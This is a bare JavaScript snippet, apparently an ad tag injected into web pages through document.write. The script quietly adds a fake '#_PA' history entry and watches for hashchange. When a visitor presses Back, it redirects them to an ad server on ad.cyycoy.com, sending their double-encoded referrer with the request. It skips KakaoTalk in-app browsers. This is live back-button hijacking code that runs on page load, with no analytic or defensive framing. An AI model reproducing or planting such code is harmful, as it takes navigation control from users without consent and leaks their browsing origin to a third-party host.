document.write("(function () { userAgent = navigator.userAgent, rfr = document.referrer, icoUrl = \"//ad.cyycoy.com/cgi-bin/PelicanC.dll?adservicename=IMPR&pageid=05Lw&campaignid=040n&gothrough=nextgrade&through=\"+encodeURIComponent(encodeURIComponent(rfr))+\"&out=iframe\", isNotEmpty = function (value) { if (value == null || value == \"\" || value == \"null\" || typeof value == \"undefined\" || value == \"undefined\" || value == undefined) return false; else return true; }, landing = function (url) { if(isNotEmpty(rfr)) { if (location.href.indexOf(\"#_PA\") === -1 || location.hash.indexOf(\"#_PA\") === -1) { history.pushState(null, document.title, location.href); history.replaceState(null, document.title, location.href + \"#_PA\"); } window.addEventListener('hashchange', function () { if (document.URL.indexOf(\"#_PA\") !== -1) { } else { setTimeout(function () { location.replace(url); }, 25); } }); } }; if(isNotEmpty(userAgent)){ userAgent = userAgent.toLowerCase(); } if (userAgent.indexOf(\"kakaotalk\") > -1) { return; } if (typeof icoUrl === 'string') { icoUrl = icoUrl.replace(/&/g, \"&\"); } landing(icoUrl);}());")